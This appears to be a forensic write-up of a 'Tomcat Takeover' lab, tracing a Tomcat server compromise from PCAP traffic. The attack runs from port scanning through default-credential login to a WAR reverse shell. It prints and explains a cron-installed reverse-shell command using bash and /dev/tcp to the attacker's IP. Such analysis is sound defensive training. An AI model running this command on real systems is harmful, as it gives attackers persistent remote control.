Tomcat Takeover
Last updated
Last updated
The SOC team has identified suspicious activity on one of the company’s web servers, prompting an investigation into the potential compromise. A PCAP file containing network traffic data has been captured to assist in analyzing the intrusion. The investigation revealed a series of scanning attempts, followed by directory enumeration and brute-force login attempts on the Apache Tomcat web server’s administrative interface.
Before conducting any investigation, we need to gather information first. Since we have a PCAP file, we can use Wireshark to analyze it by checking the Protocol Hierarchy and Conversations
We can observe a significant amount of TCP traffic across various ports, which could indicate port scanning. Additionally, if port scanning is occurring, it usually involves numerous packets. The IP address 14.0.0.120
shows a particularly high number of packets, which supports this suspicion so let's check this IP.
Indeed, this IP address is actively performing a port scan.
To determine how many ports it has discovered, we can use the following query:
It has discovered three open ports:
Port 22 – SSH
Port 8009 – AJP (Apache AJP Proxy)
Port 8080 – Alternative HTTP port
According to Google, Tomcat typically uses:
After identifying the attacker's IP and the ports, we need to track their activity on the ports discovered during the scan. The attacker has initiated communication with port 8080.
We can see that the attacker encountered a 401 Unauthorized error, indicating that they need privileges to access this page.
Once the attacker identified the admin panel, they began performing a brute force attack. Unfortunately, the server was using default credentials.
After accessing the admin panel, the attacker downloaded a file named JXQOZY.war
.
The file turned out to be a reverse shell, and the attacker executed commands such as whoami
, cd
, and pwd
. Notably, they added a cron job using crontab
.
crontab
is a command used to schedule tasks in Unix-like operating systems, and these tasks are known as cron jobs. The cron job is set to run every minute (* * * * *
) and executes a reverse shell command:
/bin/bash -c
: Executes a command.
'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
: Establishes a reverse shell connection to the IP 14.0.0.120
on port 443
.
bash -i
: Starts an interactive bash shell.
>& /dev/tcp/14.0.0.120/443
: Redirects both stdout (>&
) and stderr to the target IP and port.
0>&1
: Redirects stdin from the same connection.
crontab -i cron
: Installs the cron job from the file cron
. The -i
option prompts for confirmation before overwriting an existing crontab.
crontab -l
: Lists the active cron jobs, confirming that the reverse shell job has been successfully installed.
I hope you enjoyed :)
After identifying the IP address, we need to determine the origin of the attack. We can use a website called:
We can observe that the attacker has started using a tool for brute-forcing URIs (directories and files) on web servers, as well as DNS subdomains and virtual hosts.